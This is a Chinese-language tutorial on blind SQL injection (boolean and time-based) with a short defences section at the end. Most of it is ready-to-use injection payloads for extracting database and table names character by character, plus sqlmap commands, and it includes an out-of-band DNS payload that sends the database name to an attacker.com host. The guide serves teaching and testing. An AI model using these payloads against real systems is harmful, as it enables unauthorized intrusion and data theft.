SQL注入之盲注技术详解
SQL注入之盲注技术详解
- 一、盲注基本概念
- 盲注特点:
- 二、盲注主要类型
- 1. 布尔盲注
- 判断依据:
- 2. 时间盲注
- 判断依据:
- 三、布尔盲注详细技术
- 1. 识别布尔盲注
- 2. 数据提取技术
- (1) 判断数据库类型
- (2) 获取数据库名长度
- (3) 逐字符获取数据库名
- (4) 获取表名
- (5) 自动化工具
- 四、时间盲注详细技术
- 1. 识别时间盲注
- 2. 各数据库延时函数
- 2. 数据提取技术
- (1) 判断条件是否成立
- (2) 逐位获取数据
- (3) 使用case when语句
- (4) 自动化工具
- 五、盲注高级技巧
- 1. 二分法加速盲注
- 2. 位运算盲注
- 3. DNS外带技术(OOB)
- 4. 正则表达式盲注
- 六、盲注防御措施
一、盲注基本概念
盲注(Blind SQL Injection)是一种特殊的SQL注入技术,当应用程序不会直接返回数据库错误信息或查询结果时使用。与常规注入不同,盲注需要通过应用程序的间接响应(如布尔状态、时间延迟)来推断数据。
盲注特点:
- 无直接错误信息回显
- 无查询结果直接显示
- 需要通过逻辑判断或事件延迟获取数据
- 攻击速度较慢但危害性相同
二、盲注主要类型
1. 布尔盲注
通过页面返回的真假状态判断SQL语句执行结果
判断依据:
- 页面内容变化
- http状态码变化
- 返回数据长度变化
2. 时间盲注
通过数据库响应时间延迟判断SQL语句执行结果
判断依据:
- 页面返回时间差异
- 使用延时函数如sleep(),benchmark()
三、布尔盲注详细技术
1. 识别布尔盲注
测试语句:
id=1' and 1=1 --+ (返回正常页面)
id=1' and 1=2 --+ (返回异常或不同页面)
2. 数据提取技术
(1) 判断数据库类型
and (select count(*) from information_schema.tables)>0 -- MySQL
and (select count(*) from sysobjects)>0 -- SQL Server
(2) 获取数据库名长度
and length(database())=5 -- 判断当前数据库名长度是否为5
(3) 逐字符获取数据库名
and substr(database(),1,1)='a' -- 判断第一个字符是否为a
and ascii(substr(database(),1,1))=97 -- 判断第一个字符ASCII码是否为97(a)
(4) 获取表名
and (select count(*) from information_schema.tables where table_schema=database() and substr(table_name,1,1)='u')>0
(5) 自动化工具
使用sqlmap进行布尔盲注:
sqlmap -u "http://example.com/?id=1" --technique=B --dbs
四、时间盲注详细技术
1. 识别时间盲注
id=1' and sleep(5) --+ (观察响应是否延迟5秒)
2. 各数据库延时函数
数据库 | 延时函数 |
---|---|
MySQL | SLEEP(5), BENCHMARK(1000000,MD5(1)) |
SQL Server | WAITFOR DELAY ‘0:0:5’ |
PostgreSQL | pg_sleep(5) |
Oracle | DBMS_LOCK.SLEEP(5) |
2. 数据提取技术
(1) 判断条件是否成立
id=1' and if(ascii(substr(database(),1,1))=97,sleep(5),1) --+
(2) 逐位获取数据
id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100,sleep(5),1) --+
(3) 使用case when语句
id=1' and (case when (ascii(substr(database(),1,1))=97) then sleep(5) else 1 end) --+
(4) 自动化工具
使用sqlmap进行时间盲注:
sqlmap -u "http://example.com/?id=1" --technique=T --dbs
五、盲注高级技巧
1. 二分法加速盲注
and ascii(substr(database(),1,1))>128 -- 高位判断
and ascii(substr(database(),1,1))>64 -- 中位判断
and ascii(substr(database(),1,1))>96 -- 低位判断
2. 位运算盲注
and (ascii(substr(database(),1,1))>>1)&1=1 -- 判断第一位
3. DNS外带技术(OOB)
-- MySQL (需要load_file权限)
and (select load_file(concat('\\\\',(select database()),'.attacker.com\\share\\')))
4. 正则表达式盲注
and (select database()) regexp '^a' -- 判断数据库名是否以a开头
六、盲注防御措施
- 使用预编译语句
- 输入验证:
白名单验证
类型强制转换 - 错误处理:
同意错误页面
不返回详细错误信息 - 权限控制:
最小权限原则
禁用危险函数 - WAF防护:
识别并拦截盲注特征
频率限制